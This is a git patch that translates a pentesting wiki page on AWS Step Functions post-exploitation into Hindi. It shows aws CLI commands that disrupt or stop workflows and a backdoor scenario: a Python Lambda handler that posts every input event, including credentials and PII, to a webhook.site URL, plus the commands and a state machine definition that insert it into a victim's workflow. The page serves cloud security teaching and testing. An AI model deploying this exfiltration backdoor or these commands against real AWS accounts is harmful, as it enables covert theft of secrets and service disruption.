From 0a2852086f031a0e6e366c7b4dfc2f6a0c9a4b05 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 27 Mar 2025 12:45:14 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws --- .../aws-stepfunctions-post-exploitation.md | 128 +++++++++++++++++- 1 file changed, 123 insertions(+), 5 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md index 90844711d..aa991aa6d 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md @@ -37,7 +37,7 @@ aws stepfunctions delete-state-machine-alias --state-machine-alias-arn ### `states:UpdateMapRun` -इस अनुमति के साथ एक हमलावर Map Run विफलता कॉन्फ़िगरेशन और समानांतर सेटिंग को हेरफेर कर सकता है, अधिकतम संख्या को बढ़ाने या घटाने में सक्षम हो सकता है जो बाल कार्यप्रवाह निष्पादन की अनुमति है, जो सेवा के प्रदर्शन को सीधे प्रभावित करता है। इसके अतिरिक्त, एक हमलावर सहनशील विफलता प्रतिशत और गणना के साथ छेड़छाड़ कर सकता है, इस मान को 0 तक घटाने में सक्षम हो सकता है ताकि हर बार जब एक आइटम विफल होता है, तो पूरा मैप रन विफल हो जाए, जो राज्य मशीन निष्पादन को सीधे प्रभावित करता है और संभावित रूप से महत्वपूर्ण कार्यप्रवाहों में बाधा डालता है। +इस अनुमति के साथ एक हमलावर Map Run विफलता कॉन्फ़िगरेशन और समानांतर सेटिंग को हेरफेर कर सकता है, अधिकतम बाल कार्यप्रवाह निष्पादन की संख्या को बढ़ाने या घटाने में सक्षम हो सकता है, जो सेवा के प्रदर्शन को सीधे प्रभावित करता है। इसके अलावा, एक हमलावर सहनशील विफलता प्रतिशत और गणना के साथ छेड़छाड़ कर सकता है, इस मान को 0 तक घटाने में सक्षम हो सकता है ताकि हर बार जब एक आइटम विफल होता है, तो पूरा मैप रन विफल हो जाए, जो राज्य मशीन निष्पादन को सीधे प्रभावित करता है और संभावित रूप से महत्वपूर्ण कार्यप्रवाहों में बाधा डालता है। ```bash aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] ``` @@ -45,22 +45,140 @@ aws stepfunctions update-map-run --map-run-arn [--max-concurrency [!WARNING] > यह क्रिया **express state machines** द्वारा समर्थित नहीं है। ```bash aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] ``` -- **संभावित प्रभाव**: चल रहे कार्यप्रवाहों में बाधा, संचालन में रुकावट, और संभावित डेटा भ्रष्टाचार। +- **संभावित प्रभाव**: चल रहे कार्यप्रवाहों में बाधा, संचालन में डाउनटाइम, और संभावित डेटा भ्रष्टाचार। ### `states:TagResource`, `states:UntagResource` -एक हमलावर Step Functions संसाधनों से टैग जोड़, संशोधित, या हटा सकता है, जिससे आपकी संगठन की लागत आवंटन, संसाधन ट्रैकिंग, और टैग के आधार पर पहुंच नियंत्रण नीतियों में बाधा उत्पन्न हो सकती है। +एक हमलावर Step Functions संसाधनों से टैग जोड़ सकता है, संशोधित कर सकता है, या हटा सकता है, जिससे आपकी संगठन की लागत आवंटन, संसाधन ट्रैकिंग, और टैग के आधार पर पहुंच नियंत्रण नीतियों में बाधा उत्पन्न हो सकती है। ```bash aws stepfunctions tag-resource --resource-arn --tags Key=,Value= aws stepfunctions untag-resource --resource-arn --tag-keys ``` -**संभावित प्रभाव**: लागत आवंटन, संसाधन ट्रैकिंग, और टैग-आधारित पहुंच नियंत्रण नीतियों में विघटन। +**संभावित प्रभाव**: लागत आवंटन, संसाधन ट्रैकिंग, और टैग-आधारित पहुंच नियंत्रण नीतियों में विघटन। + +--- + +### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode` + +एक हमलावर जो निम्नलिखित अनुमतियों के साथ एक उपयोगकर्ता या भूमिका को समझौता करता है: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "AllowUpdateStateMachine", +"Effect": "Allow", +"Action": "states:UpdateStateMachine", +"Resource": "*" +}, +{ +"Sid": "AllowUpdateFunctionCode", +"Effect": "Allow", +"Action": "lambda:UpdateFunctionCode", +"Resource": "*" +} +] +} +``` +...एक **उच्च-प्रभाव और छिपा हुआ पोस्ट-एक्सप्लॉइटेशन हमला** कर सकता है, जिसमें Lambda बैकडोरिंग को Step Function लॉजिक हेरफेर के साथ जोड़ा जाता है। + +यह परिदृश्य मानता है कि पीड़ित **संवेदनशील इनपुट, जैसे क्रेडेंशियल्स, टोकन, या PII को प्रोसेस करने के लिए AWS Step Functions का उपयोग करता है।** + +उदाहरण पीड़ित इनवोकेशन: +```bash +aws stepfunctions start-execution \ +--state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ +--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim +``` +यदि Step Function को `LegitBusinessLogic` जैसे Lambda को सक्रिय करने के लिए कॉन्फ़िगर किया गया है, तो हमलावर **दो छिपे हुए हमले के रूपों** के साथ आगे बढ़ सकता है: + +--- + +#### Lambda फ़ंक्शन को अपडेट किया गया + +हमलावर Step Function द्वारा पहले से उपयोग किए जा रहे Lambda फ़ंक्शन (`LegitBusinessLogic`) के कोड को चुपचाप इनपुट डेटा को निकालने के लिए संशोधित करता है। +```python +# send_to_attacker.py +import requests + +def lambda_handler(event, context): +requests.post("https://webhook.site//exfil", json=event) +return {"status": "exfiltrated"} +``` + +```bash +zip function.zip send_to_attacker.py + +aws lambda update-function-code \ +--function-name LegitBusinessLogic \ +--zip-file fileb://function.zip -profile attacker +``` +--- + +#### Step Function में एक दुर्भावनापूर्ण स्थिति जोड़ें + +वैकल्पिक रूप से, हमलावर कार्यप्रवाह की शुरुआत में **exfiltration state** को Step Function परिभाषा को अपडेट करके इंजेक्ट कर सकता है। +```malicious_state_definition.json +{ +"Comment": "Backdoored for Exfiltration", +"StartAt": "OriginalState", +"States": { +"OriginalState": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1::function:LegitBusinessLogic", +"End": true +} +} +} + +``` + +```bash +aws stepfunctions update-state-machine \ +--state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ +--definition file://malicious_state_definition.json --profile attacker +``` +हमलावर स्थिति परिभाषा को इस तरह से अपडेट करने के लिए और भी अधिक छिपा हुआ हो सकता है +{ +"Comment": "Backdoored for Exfiltration", +"StartAt": "ExfiltrateSecrets", +"States": { +"ExfiltrateSecrets": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", +"InputPath": "$", +"ResultPath": "$.exfil", +"Next": "OriginalState" +}, +"OriginalState": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", +"End": true +} +} +} +जहाँ पीड़ित को भिन्नता का एहसास नहीं होगा + +--- + +### पीड़ित सेटअप (शोषण के लिए संदर्भ) + +- एक स्टेप फ़ंक्शन (`LegitStateMachine`) संवेदनशील उपयोगकर्ता इनपुट को संसाधित करने के लिए उपयोग किया जाता है। +- यह एक या एक से अधिक लैम्ब्डा फ़ंक्शंस जैसे `LegitBusinessLogic` को कॉल करता है। + +--- + +**संभावित प्रभाव**: +- संवेदनशील डेटा जैसे रहस्य, क्रेडेंशियल्स, एपीआई कुंजी, और PII का चुपचाप निकासी। +- कार्यप्रवाह निष्पादन में कोई दृश्य त्रुटियाँ या विफलताएँ नहीं। +- लैम्ब्डा कोड या निष्पादन ट्रेस का ऑडिट किए बिना पहचानना कठिन। +- यदि बैकडोर कोड या ASL लॉजिक में बना रहता है तो दीर्घकालिक स्थिरता सक्षम करता है। {{#include ../../../banners/hacktricks-training.md}}